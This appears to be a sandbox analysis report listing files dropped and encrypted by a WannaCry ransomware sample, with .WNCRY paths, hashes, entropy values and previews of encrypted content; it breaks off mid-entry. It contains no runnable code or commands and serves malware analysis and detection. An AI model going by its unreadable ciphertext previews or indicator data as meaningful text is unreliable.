                                                                                                      Preview:WANACRY!......?.}y.6?..N..K.A ?e....1$........."2.>.9&..B....[f....@`.....P.(.^V...Y.R.q.?..-~.|.....c....X.lRSL/..x...o...q.....A.pp.{.D..g..1..../K.JKMX... |..l.a.f..Q.....|..-T...*a _.t..E.h......X....x.....no9z;....L.m. d....).ds..L.92.U..C.QF....97[../...=.............b.....h..ejzt....#.....8E.z4.m..a14.a......0.......h.;...*...P..Z;;...g.[....V.=...!....W....G...`._.5D>.n.........F.."......=..7F..QnASf..n=..O/-:..._%.iB...x.....~....6...M..W.\.%JI(.V..Y.@X.*....&...pM.(OF.&OWe{....A6...AS.>P...!.\.S....a$....>..H...<e......a.............0tq.i?.mRN*.VW..~!V..1*+..aVe.2.....vR.../..sx...#G..s..A;...:.z.{R..1#.=.4.D....}\..K.k..Q`.YY..D..-..1}.a..:.am..(W...).&.%i....B/...G$.+B...0.....&D.....|<..L.,..0...5....Nl..7~..I.@...wFy..(....w.=.;G.,&..b.....x..UJc..I...! .....,..@..L;^8...w..#.v"~z.......|..@....c>..#.b.B,JW.h...]...S..v!..R.).....#.]........B..........r..{.....&.b......L...jv}.`..x..@.75.....-.d.-1..)../.n....Yc.........

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1573144
                                                                                                      Entropy (8bit):7.999886226247871
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:Ou7f5I+5OxBk+mpdomH+FgBm/ZQO2RwySTeCi6/Q7/IaXdB360ir2/q/v7O5WGbi:37f5koksGgBMOzSlip7/IaXdTtC/v6UZ
                                                                                                      MD5:4F94D67AE6F625659B3222C22863AA9B
                                                                                                      SHA1:0E7081214677025B9B21E24C289B992ED808227E
                                                                                                      SHA-256:93B6EC818464809B2382CAF3821B3524B9AB12C3597F36A06C188297DD1740DB
                                                                                                      SHA-512:3043AA83AD56FAEE2471324FFDB19F09F20EEF051ED4123B694E59C64A266C5889FF8685EED414CC9BB086A0900B0F65EA931ACDF33F3C68C26B9937B47FE5B3
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......y.......zM..=.AS.T.......5.A;.Ty.e....!\`f....p...~l.............h..?..{.....Kb.T.K..m.{...+...2x...9W.Y_...U..t....k..M...u.q..HS.(......X....5./..,\V..S.`.5N....8[.j0...%n......57...u.;..9o..;EY.\c.b..]F.r>.|../..0..S..!Z....._0..J$.L...............WU._~=^.2P...kY...D.S......c...$.)4' ].e....V...J.Q..<...H.a..+1....V..jg+\.2..";.y...J...^.. .1......W....d.us%`7.K.......5..IC^Z..1...S..#.6.......*..Z28"Vv/..w.L...?dR$$..O..{C.._.[<.H.T.3....Q.0.UP.p|\1..C..2......a...;..u...$9..U.c.`.d..v.|nZ6..@q....6..'`b*..F6Y..tGe|.F9.)..0,..J9...vtM.8..J....%....9}..p.......:.?...Ge.`...i.Jt.Cs/......1.....,g......v+....h&.. .s.,.;.^a.*3.U...'^Y..P.....5\x83.z.......... ..J..?.. ..6..S*W.}9...Z...m6.1.".$.d.....t...]"...zfj...j,E=.>.x}....k...1&..].}!.N.....$.9........w.b.;.....I.@^e.,..6/.#bWEoRSLX...7^..}....P..Sa.....d..t..mk"./..o.q\q'...a.H..s.L.w7..m.}.<.}.z._[.+....Ktan.';.v.R...n......"..7.../.O..1.5I.wg.&I...=L.v.Y9..S.n.T

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1573144
                                                                                                      Entropy (8bit):7.999872915475464
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:o3GbYOH9FYEiwsQUpFC2kwsq2dqH+Is0QAv9ZFonHyDJpp0pnFujiXBxnGxVxBl:o3GbJMlySFtvIRWQsZCHYtkLg5
                                                                                                      MD5:65A120AABCFD540D559BC6E5F339A8B1
                                                                                                      SHA1:A713F9A10DA2656E591E76178CDC7F9BD6DB4AAD
                                                                                                      SHA-256:76B478D54B9D5EADD50404AC094DCF25E49C3A4D463E0E3A471AFD29785906E7
                                                                                                      SHA-512:06C4E1D899A0952ED98125D41065FD802F222DC698AFB94E102CC3CC83A63F2905909FC87164CA314AEFDD1BAE3E2E6AABE0994F935862A87E19502CBDAB6DEA
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....T.f.2.H..o.u@..#....6.....m<...UA..8..x...o.^-x..k...#Ib....~;...2d...B.:./...Y.Fy...G.....Mz....$.|uz..-..`.l.)$.M.../.k..Git.A|.....o..m..........&P.0....2...~.q.a$.w........J.t....#.gYK..+.7...E.....a.......7....."K|q...I...Z:d.GVbQ>^...............F;....k.@eG......y...,.].}...F.............{%z>....]...o@..!..N=. .N`.Hy<......g.$D..!..,#[..f./....(9L.K.R..+......;.C.(....Ct.7.....i3...qq...$y....9H.........(..'...8.&*..`..<K.3b..z......H...Q^w..w.>.T..h........N..J.)...f..1#..p....x...T..w...E=.....d..N4..............q.<.Xr....rR.!.K......D.....\..S..|......h*.. .....`.$JI.N..8.3....`...>"g.X.vE...xP..|.id.:.1F.N.S./Mh.f.rz.x..&..b.b.O..x..LcDg8.......u...!..R_H'...D..u-.h...6....BtKW..gl.....a&...h.AE[.......,.KK.m.+M...E.]...,.0.#d.~.ElC.6.h.....M.......D..F(..l..!./A.%.B.H....hgMS...O.2.X.Xu.!..Ib..O.0..f.YSAj'.{B.MA.[.>..@o.1jU=s...}..r.PO......"J:pFu....M.,i.......,.e.'..s...j.%~q..ARzu....h.../.g..$v.v..~7.L..5..Z.R.W;U1!

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):22136
                                                                                                      Entropy (8bit):7.990370093318815
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:o9hzS1F2rhGqMu494O6Jj/9BFgpUBtwRkJ1rgNlO+L2Dus7kx0CsufbsE5eGIcP:Ehzq2rh86VBGUBBJ1Ue+ipkxEebsEYGR
                                                                                                      MD5:AFB319C25236859F4AC2F70239C24033
                                                                                                      SHA1:6569ED4EEF0918CE8784D7E4983144E76CAC6AE6
                                                                                                      SHA-256:09EC51E87BF5EE45F8C5ADAF19B307731CF8390B027AC9EC92A23FCE4A17DD69
                                                                                                      SHA-512:6D3CA76CAA7995B3DB50A2C9CE9199BC15343FE2400A70A95ED3A3D3AD4DD7252CE0BBE8E85B8B9A74695A04545C7AC0AEB18062F2C7CBF3D42B877BA0610A9D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....H.^>\.#.b'.o..#..S.O!...l.Y:.Q....#.7....%.iH....C/...eq...M?s+..X0?..w.Fd....d..3....G.D.M....z0z....B..L..4.Z..8.9}..F..a[=.../..`..3..7...D.>.XG..."..4j...."...I....,.H.M~."..........g.q.... 9....W./....|.NG....j#e.......k^.m....<.s..W....YU.......( ...+....3/..h-+....y.i"....)..`CUgf,.QT..|LIw.M...|..h.#..M.\.~....0..k.....M....".@..!z.9O.u3y...G....x..>i.;;.Zs....:....R....T...J:$......J.@u.(....&F.....C.G.EUXK.ss......S...+..<.;....K.hP.<,ZTl."G?!D.+.Xq....p..a..`..M2.^@w.\%.^.JzX.h.t.........+3`*B^.....Ac.l.<.K,.T.....(.W=QAmS..T...Z[3g..5.....z...G..J.g6.R....y.%......0.n/.g..e.<<...*e#..*e..ap.N,X.s..W...8.,4........$.Q.R.G..R..5d.?a'K[.j.3`.j...E....Q@f..%V..M7C.v.vUiN9.6/.........xs..b/....TMX.OT...=>&Nb9~.....1..`.$"..P............}.....r...[%..l>NO..a.'U....N....... 2.g.R=..t.9m..&Ef..S.qj*>.x.e..i...'...y.^....r.Go(......D._y...;Ga.$.Sbg..A...As.sb#P.1w.a....I......'KV{.s.c.O@.a......}..h...9D.ObI....cZ.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):121496
                                                                                                      Entropy (8bit):7.9987232519317155
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:i7uhpjt+Oi47JNa6nhB1nGd+ob+mxD6OTBG2:Lpjt+O/DBkd9hxD6OTB9
                                                                                                      MD5:07B99B3132BBC13A380C70CEB3693C9C
                                                                                                      SHA1:5A046B145ADC3696A5B3F90E4A6E2471A1D1B369
                                                                                                      SHA-256:C960C9361B6FE4C2762979085B2DA625BEDA94D116A4F0B7221C455CA9E0F6A3
                                                                                                      SHA-512:541402B7D9CEA002BC7DD2A0F16ACB85B6DC98201989DA92D69D06FB9F5FB5562218C2F29A6E5CB57E82C5CFC0E9CFC860B346923A08B5B37EEBA4B82CCE227D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....[...'...B......9...?..qw.vi.... d.9....!^Gj.cD...w.G.>......d.H....;|...W..~.vm=.6<.....:..9.*4....mj.|...a....D..d......K.kWSG.bVo...5.........d.y.y.K...#....'...,I?..8....g.@....w........?...|D.e.....Q.x...E..qS1=..V.1i....1......,....=.R....~.......%..@C/....$.~I.....{gn.C...b....2.*....H!..8.g...7b...\../..=.}C.,L...Bg8....-i.F...,@..6..9.Q/.9%.l...R..5\=Af<|.....K.f.....a....lA..'.....<..B6.W.(.:...!TT.L.....Q..o.....u3v.bf.#..v..(X.*/.9......E.f...7..i.8.ki.....X.uI1_.B......Q...h..yX...k..y{]...$..#..|.;....#..6...0....+..! Aw H<....%.#....J[|..;q>..3....e&..r#;..\...Q..j.e.E..S........4.g..H$H.J..$.U.G&#.JY../..+..j.%.I..n?e.cE.. !1.W..{....i...t.j.'?.i.8i.L..'........^O.t<.^L.+.<.~...q./.....[.....e...rPuf..d.G....E....2.....v.....>5...+...]?.7b+m5g.T.p.w.@....3.<.iI...C.....Q>..(.k&._..T..#...W..u.Zuhs.k...V.e.4..?(..a....s....q.`.y..)......A.0.>.K.._....I3Cz.c:.;B.kD.;.q..{.$......j %L.K.K...Q.FAw...i.L

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):59016
                                                                                                      Entropy (8bit):7.996869479821251
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:9R4y3B5dUkXoiKEqFfOXYGeNRF2L0O972e71x4XWgZN:9RjHkU36jyF72ehoWG
                                                                                                      MD5:4F35EB689F04BF5383BD5EC7BBCB0EA0
                                                                                                      SHA1:0D1938FA7486A97EE2593E7C0944C21922373470
                                                                                                      SHA-256:937E4891E40C9586301E7843AD66E19565C3B3011BE6D6CABEB028E5033C7886
                                                                                                      SHA-512:C88E51F64823916DCBA19273EDF118E35F12E0BF96871E948B135C63C347493D7A8A37A44085034C8279443895E2D361A29F20F986584934182107787A3FFE64
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....\O.(PL.D..$O.#...gW4.!.gr<.....!.r.W..Ni....7..2"..v._.._..Y.......IE.#..|/..K....}......J.,..f...36..`.=|.M]....Fc.E.....V...CK!..L..,..u4p..W!..bw...!@...&...'$..3.4.yd.W.K=..~.|.%.p.....\......'C.I*...^No....I...!.D..7..'.6'.pH....D..{.4|..#....g........v.O....0.V.^*.v.o...y.....Oo.n."...b.."..#...8.1WM........ ...:.{..........ov...V.R...z~.=..d.pre..[m........M..........UX.I >C........'...w|.......fk...9....C..df......4?..........v...]...d..d.)9. k/%.o.(^.pH...FJ......[X...0.j..qr...\^.L..X...1.Z..?..s..s...rCk.7i|..6.(6.8.....b8A;.........$.@.k....,.Y....H. .V.Qx....\.....1x.A.....nZ......M...}...`:.#.L.k*N.[.y.$,)..)Y.O........u..@...}.E...7'|=U....g.x.=:..t..n.s.W.6.....S....;qa.,..L...+........5..#-1.=...;..D.....~j.....I.......1(...;.qc._....0r..u..7]L.w......p.C...).USG......Z.}.__.-aD...%$......9..a.....*..O.u.XR.?'...L....2.+.N...8....h..__]..''o4.W..9..v.Bi..@L.....;..p.....&......UU..`D...zlO.@.&].q..2..C..~..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20552
                                                                                                      Entropy (8bit):7.990827710660221
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:orKp15Vbvp/MtDW3YXVQjgvJdPwL0h/6CUy9je59m8UVTaS:BvvVSaqV8SEkCt5ozsS
                                                                                                      MD5:BF06F9258E64C1FACB661E416F7C882B
                                                                                                      SHA1:0B345F925F7E7A0E81EB163E27F7BB58B5F37EFD
                                                                                                      SHA-256:3E7E95821BA32464D477A2B534E1BCF39BC3652CE749D3BA0FFAFFDB39166BD0
                                                                                                      SHA-512:ADB53A59BEBC5E345F22ABE5A37BA482B8EE87979F3C0D653E5A8B29CA8E507767065C75226A9D087C698177EBA94953DFE0C5E560DB357382A0EA2FF5F465C5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......F..f.Ch.l.A...9..M.}.....1..rJ...Ca....0....k..l.....v.,...=.......J:...xD...6.$..w`....A....xZP.!....t.T@....r+..){Vq.BK...$xs.>g:..U.....?.8B.......5...H.0....]&-....R4D{0-.._.."a......#.v.;...<...'_~.I.@E?).B/...?&.d..._.1Z..s=...A.T.g.x.....$O.......A.........ln.8....t.*o$<.Ha.........n..i.m...F..b_Z.>&..7.?.......y5.....+.j.*e~..:.....q.l.83@m7...^....g,.x.._O1T..j....H(....)<.p..X.l..WF.F.].45.9.....u...&f....t.L=.!......`z...9N$.f....lO.4.....4.p.;..9e.H...l...x..K.V3D];.d...x8.d*..i?{..C.w+....>&.0...dD1H.z.,=.V...#..l|....2...=.M...O......:....;.. ......7L.E.q?.a.h._.f...3.4...9.X..8../.....=m*...[.cn..I..U@.b.o..U.ZI__...m...A.t.".......6....._...!..9a\.._t.....d.2...0z5%f&T4N.t...m.v..#..(wG$E.</.^.....&w..z.g.d.2!..x(....J`..=.....t,f...._.W+..d../.h...O..e...:..4..h'U.qR..Oq...6..y3..:....I7..\..BF.._...,,.-...9.{.wX...5.JN..I&...AA...|...=b.L#..=V.._-.L.R....8..\U..(.m..3...L*Q.JZ..c.B....w......;0N..?N+.1.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):696888
                                                                                                      Entropy (8bit):7.9997328205075915
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:4izSJREWEtDK9oJvgfYIkRTp4OW9TgUv2QSUE1tN+uf0vMkbdIp60IHLhZpk90AZ:40SJiDyUvVjQ+U+PUEfwLVaXaFZpk9/
                                                                                                      MD5:4786FFF2E262B58A6FF42E7CE6595F37
                                                                                                      SHA1:8937297D5E2D162772CD1B83397D722D97B30F41
                                                                                                      SHA-256:76BD64D192368E6A56DA9AB26C198ECC7651114A536D1839ACA5FB816BDD3ED1
                                                                                                      SHA-512:26674A0409209244F22B7590D0C10C77ECDEBFED7618A863A6A61E98195814B6E5C23B7EBBA596DD9AE3455E2E571087EEC39CB147BB0507EF0A91FD20EF8993
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Ch..8.a3.O^F../K.<..U=J..{..|/...4R0......f..\......" .+.s..p.g...=$.C.&..3...LS9...ul).......=..........C.+.... .i......w..p.H*...[f.....x..:G.........@..7s..*s...5......^..I.}...8D..xz..F.>....b...d.P.....#m...Br...,..H.kT...%.n.ec..jP.................Y..rp.}.m..+G..E.z..%...J..>.....;...G.%.(.)l..m...a.4..$3..]..<.o......M.R.:;-..u....I .?.%T...g.r_.C..L.wc.A.8...X.I...ef8b. .XR.@^..Xe.#f.[.&.@.,...MA..z.-!.p.z....J.1.KZT..gvF.;j.KSU.....o...m.>.Y'.......n.T....v.}."..h.5...T..I.]..6.b..P.....jm........})|....4G_..d....M.&..OY.d...r.....Y.z..g..h9.....2~.#ol..QW7|..9.U......[.z.t.=...~.\Q..]..v..-.U.b..D.N...!.)(......I]...2.*.....L9..zhR_3V....a.......!..U;VU.k.F..KcM-'..~..y.k.2..0L.T.vs.D....'..e..?.t.^s90..Wr..6. ....z?K..Vi>.....` ....&..[....t..|......@bZ.... E"..3..3.ye..c........5wb.=.KR...$z..3.C...:q.\..8.(.\2.g....J..p......Rt...c]fbN.o...k.d.kY!...~..\.....T.bX.]Y.g.m...p.w.n.........4=.8.d.....Q}'.jm.f...7/..Vi.c..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):8248
                                                                                                      Entropy (8bit):7.977139704728886
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:/o+yoyeXh1gRciGUCMUQ92JtipkeizEt+q85V6Kf5vY/e1q:/oHReXrOCMUZJtiSeYXb5Vg0q
                                                                                                      MD5:AB13C2982DF0FF7723E0487BD193889E
                                                                                                      SHA1:7A1F424C3685C525EE9B752133ACEFB8E374976D
                                                                                                      SHA-256:21222BCB6CC461B3A1E2ACC7912AC6F0F16E5374549CB3C0179A222728E7CE67
                                                                                                      SHA-512:406EBF45400ECA377AB4E777A1F0EDB583F79ACE52911F7F637D06218F934036454F28F451DEF322253CD691697D512450F25F8C61E83154832D437F066B71AA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......m.m.R<.3.9..)...,g..._..D7ggb;.[.&E8 q..e.)a...D..8..N.<.>Z6.j....~Z..V...+....b=...U..p.2O..@.tN+..#.c..r....j.VN..j.`.-U...z.........Qs.y..(..Jp,.....`!.b.[n....[Y.....N.,S..`..I.~.#=T2w.*...1.J.S..xL..1+.... .......|..C.......4.j...W,+...,..............i..kh....(........#..q.M......R.G..w....3..=..B..b..[..s.m*.rQ37v..cCL..(.....n./]....">..bt-.(....~....U.....O?...NE...L...h.M9...rsa...r... ....c.)h.."'..E.x...D0+.o.g..^....!9(vI&.t.8.....<lb......g.Ie..^...p.}S.....NO.....[.H(K...Y.K.[*....;.+...i..K../...$....C.10.........L.i....i.C...=....'..O.i.h.K.u#u.%.]........:H...Ot...3.)7-..d}..T........%+.$...}H....o....p.P?w.+]... O.I..Q.......f....N.. ..r..k.5.Jj..-(%XB........C.....&3{/+Nc..g.R........O..V..w.mv...h..$...q.%..?...2..+........Cr.;$..?.78Er.Vf./._....;......$?.*.g$.}s&.e..},v..........>..N+.....f.g....&.TQ...8...M..!.y~...4.._t,.{..Ji....2..Dq?.E>z.9P.yo..}.l.M.b........&cu].2.M...G..j......J...U...Zc...9.OV

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5976
                                                                                                      Entropy (8bit):7.963550909190473
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o6WdmmS2zFJxeFOh6T7SaZmQCFFmHZWAZwSfz0Nop7ukANMvSm0+G+4feEGX8RX5:qdmmS2vxech6vp7C73AqS2MfANxl+OWG
                                                                                                      MD5:CA97C8A1172278D6390C60999FFB1A51
                                                                                                      SHA1:70AE89C581871461CF7648476F197944188E2040
                                                                                                      SHA-256:480C2654C81B5B0A42E65A7DE8C4B6F4C007AE9004E2C9159330DA1FA0C66200
                                                                                                      SHA-512:BA9AC2804CC437E34D19FFF47EA7FDDF809016B699CFBDAA52B76A5C0EA47AB735DDDD6B3D49249B19F6FB1F08CF3C2B73E1A9AAB1A4D1B0AA36262B544FF0E0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....,.+.hs_.q.;.mx_.:d...-....||j.lC-W(........c.!G.kd`.w.Mt.C<...'.Up/.UD...D....".f.f.0...:B4....V..z..i.....]F....Z....P 4.L0...W.2}u.+.&i....../.:....s.f3~.-[....-..1......Q7,jC.`$p..~.?.....[.w.NT.4..7yd.i.xL.m.).N4.CZ..q....i..Y.....*....i....Y;....9.......wOG..0..&.......X.........tY..S.F...hUX.m%.o.#......9.A.d..2....]$#.Qs.h."8..Ykq...;.3|.8_.+.....'..A...j.T....../\.N?.7{k.w.4.`..'lz.iS..*...2^.@.3.Rn.[#t..s.TP............^....w_{.u<....PV~........(.G....b.P.5Q.a.}..._*.VG..F....j4....1.n}....R...+..zK....Do:.='+...b.2a..../T.....F....1!.]...V..rB.:.*.>>.o@..jI..q..\w.Dl...4.q.i=.!6...l\.(k3.M..?.[...(.......<8..o..>......GCD./..~...W.Ps.&..dT.!.9..gb...gL....w..1.,...bA.G..KP.'<..;..s>.....P7.K8.2...T..].?...d>.{..7yC.}0.w..[..vc......0.E`..&..e....p..-.2...b..6.../ps...((A...."o..5.o1..,.Jo P...3x.`.&.LJ.I....D.(.R..|2K......#6&...n.../T.}....N.g..).h......K.#{M...:MVzZ.?.K...>.....d....iG;...A..Q.E.T).v..n|...>D5...qr.j.c..<a.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):19880
                                                                                                      Entropy (8bit):7.990184909276598
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:wejWCtj0Z40renit8XfLDYvOErbQ9uZGcMLMD0I7MFO5:weZ75fYvOaou4ciMD0OM05
                                                                                                      MD5:4F7A1F56BF93CB749D193367E498CEE9
                                                                                                      SHA1:489DD6E2F517C9B1B009CA9A6A605F8BCE645307
                                                                                                      SHA-256:96B9F7222792BC3880CC27D03DBD09F22494A83B0E0203B21D1CDC0B32DF72CC
                                                                                                      SHA-512:5576C369EB119CF70270C7FC72975FCF6B3F827989199B75B0A5F7493DA96AF102C32B8528B6F9DFFF72881DBB130BF0D56D1D899CDFAE5A5C8A9B302F752CDF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l.w..[^..ZP.+...Y...m-.:.Uk...\.">...6q..J......wl..&,:=....j....%.).j..z\.Tu.,J..*1X.^..l=...`..v\.h.8......#.I,....k.....H.e.e.)..D..$v.x......b.O.#.2..s.@.<.C.TqY:.f..[..:....'.........t...8I.Z.Q...mmh?W..7:t.v.B.{V..x....8.ZI.R..;.....~..u.......L.......>.f7y.DN.!n.Hlue.....?V?S-..htR..=\...........3.5.)..$ba=.A`3..r.` ..N..h...>")@.ooc...Y...........xx.5..h.|..Sa.........X..i&...{A.Y..[...$#.b.i`...*.).e.^Xo.;..T.~..h..i.M.:D.O@.i.eZyy|...Q.`.TEnp/...].=z.....%..V..3HK.a......7.b..}.=}..u2.G,4.?03Q..5.....^<..%+^.......X:vJ.....]z..W.l...$.n~.1.5.+ ....C8..~,A)V..........#0c....b........J..1_&|...w....].....}i..H.....s..^....O..}.g../...h..;..@^/..p}e..{.{z.Q.%.e...'.._..6......?.Wv...>#...P..+n.2......~.z.d.........=../C..."...vK+uA. ..Q..2s.#@.G=V.^...0......#&,x.k......U.......O..l-....?[.....d.dR^..6!._. ....V.....C..;...=_.U..&..@".`.*.......#....[$....w.....Z...<.W@4.vZ.Z'..1....)...OP..1.J..\.Z.,.A.U..v..^.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2104
                                                                                                      Entropy (8bit):7.897991923391271
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkkqJ6LWF+P6O2+YHB1IFPOcl1WMtmlIRlVdES:o5Jd+CXIpOcl0MeITd7
                                                                                                      MD5:D449FE092DDBB9DF57672E64FBBEDAA9
                                                                                                      SHA1:6F015A2BCBD073847130BF6572ABD79FFE2DACE3
                                                                                                      SHA-256:5CE9C381696FE22A3A8258AA2791D9C9BF8C1032339950D744B377332369881D
                                                                                                      SHA-512:7CA4BF10ADE40AFAC2C01C1B01E9EB4861A2D57D6D55F9CC509423DD740840CB81010D22C48061E9880A25D91257BD0612B1380ADAA227F1C3BAB001ABB803A5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...._.j..T..n.U..U]X.b...1.}Z...?YJ.HZ....e.7C...U...f.U.@o.K.T.f.NZ.....O2.....2.Cm7;1...:.....`...=.1.(..."....0.P....e..o.z..A....a.W...7 d-*h..z.ms....9.'s.y.RX/.W>..H./..v.@H.%..+....d.^......%.q\1\l.8.....@..B..$....*5.S&..aFQb...:..C..:.7.............."...?Es...(.:.4@L...`.Q]T$MA...N..}..,1......"C...3./.o.f+(.m`."..K......h..[.M...=..oh..6L4.d.W.E.<.>..,.V1.J|RW0Q h.+c.z...b.._p....w.......Qz.p.Y.I..]........7~A.rn.K.-8...P....a.:G......O..}.`E..P..$.z...o.=.(.aO>."I<.q...$.#...x..K.."$..^6].?.-qn}.........e.g..Wt..U.*.y.b...D`...u..b.1.N....Q.......k../..Lf.........p.}.F0...}?...s..^.05....m*}....BF.E.........`A.....h.T.5.[..J.k..X..7.7.7.V..Um..........[u0+.~..l..sTk ...}n..pq....4..z.E&|.v.[....0.@..F.*..6u~..T=.5$*..sJ.r...._ ../.J..........s..nt.G.`'.....n...40T..l.2.a.$.G.OCM.....53.I......8k.!.o..0I..C.{...s...}exM.4............|}.G.\4.=........Dn{^...... ..L.4...-.6@j6..a..+.<uC.z..}6?.h.Mg.u5L.>..Z...C..2u.`...W.F.0.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):3160
                                                                                                      Entropy (8bit):7.934332681633968
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bksuXn604NxzYzUfZ2K6dzPtHdlZ7KR4NyzJItoXhaS9c5O0kjsNjGu+KzaWv:oj4vRM/zDbM4NGH9r/jeCqaWv
                                                                                                      MD5:0858979385BA3F6BD55F55DE62E827EC
                                                                                                      SHA1:E8D1720E13C9A5DC94D0A8EAFACEDD0B4BDEF58A
                                                                                                      SHA-256:15D5D226179D244013BE57B1BB9FD68D4D360A58CE57B61DA94972DFF869C937
